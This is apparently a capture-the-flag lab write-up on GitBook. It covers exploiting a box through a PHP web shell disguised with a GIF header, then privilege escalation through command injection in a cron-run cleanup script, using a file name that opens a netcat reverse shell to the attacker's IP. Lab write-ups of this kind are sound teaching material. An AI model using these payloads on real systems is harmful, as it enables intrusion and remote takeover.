# Exploitation

## Executing Code

```
GIF87a                                                                                                                                                                         
<?php system($_GET['cmd']); ?>
```

![Intercepting and sending to repeater](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ4bSfNrQR1GyLHZZAS%2F-MJ51lZSoSEiBCl983_p%2Fimage.png?alt=media\&token=6557b5df-fb71-4df7-b980-06761edf41e1)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ4bSfNrQR1GyLHZZAS%2F-MJ51c6vhHmHKbZ1-wY8%2Fimage.png?alt=media\&token=b4b6f1ac-cc7b-4189-994a-339288cd27ef)

## Reverse Shell

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ4bSfNrQR1GyLHZZAS%2F-MJ56XisWNsYRQVaqxuE%2Fimage.png?alt=media\&token=034b01d1-0a61-449a-9f9c-f93b8ea1b2d8)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ4bSfNrQR1GyLHZZAS%2F-MJ57EyBFAJsquFoA9eM%2Fimage.png?alt=media\&token=44efd11b-e495-4112-8e3f-04c97f5b63ea)

## Privilege Escalation

### Found crontab&#x20;

![we can't write since we are not root or gully, can only read check\_attack and crontab ](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ7bn3ARDldalRdVm9h%2Fimage.png?alt=media\&token=ce9a1745-872e-4b60-9352-3b6475f17f59)

![crontab executes chech\_attach.php every 3 minutes](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ7c5tWLtEDXzWa7dwT%2Fimage.png?alt=media\&token=5fd6434d-68f5-491a-9350-78563b4c471c)

**Since we cannot write into these files, lets read the check\_attack.php**

```
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>
```

Analyzing this script it checks for files that aren't suppose to be in the uploads directory and deletes them, but pay attention to how it deletes the files, it appends them to the _rm_ command without any filtering which makes it vulnerable to command injection

```
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
```

$path is  the value of the upload directory

```
$path = '/var/www/html/uploads/';
```

$value is the suspicious file's name

by going into /var/www/html/uploads, we can create a file that holds the payload in its name. it we start the file with a ; semi colon it will en the rm command and execute whatever code we put.

![demonstrates how file.txt is deleted after three minutes](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ7fGLylr735ispBDE_%2Fimage.png?alt=media\&token=728cc89e-beda-46c0-9985-628ddef51809)

```
touch '; nc 10.10.14.34 4444 -c bash'
```

since the script appends the name of the file, we create the above file with the name beggining with ; nc. the semi colon will end the command and execute all other code after it.&#x20;

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ7hxgx35I4vvib6knc%2Fimage.png?alt=media\&token=1d1b85ea-8703-4ded-9b0f-250efcbf9a78)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ8MxucnRABZhuLJiiQ%2Fimage.png?alt=media\&token=f46881ca-5ffb-496b-be32-08ba615f5fb0)

![](https://4057777515-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MHH7KhyMHFxZjjhb__O%2F-MJ7_UKSeRfsmY_h3n9f%2F-MJ8MqQqHnv4COalagxq%2Fimage.png?alt=media\&token=7a7025bc-ffd0-44e6-9f96-3a3b33bcc5d7)



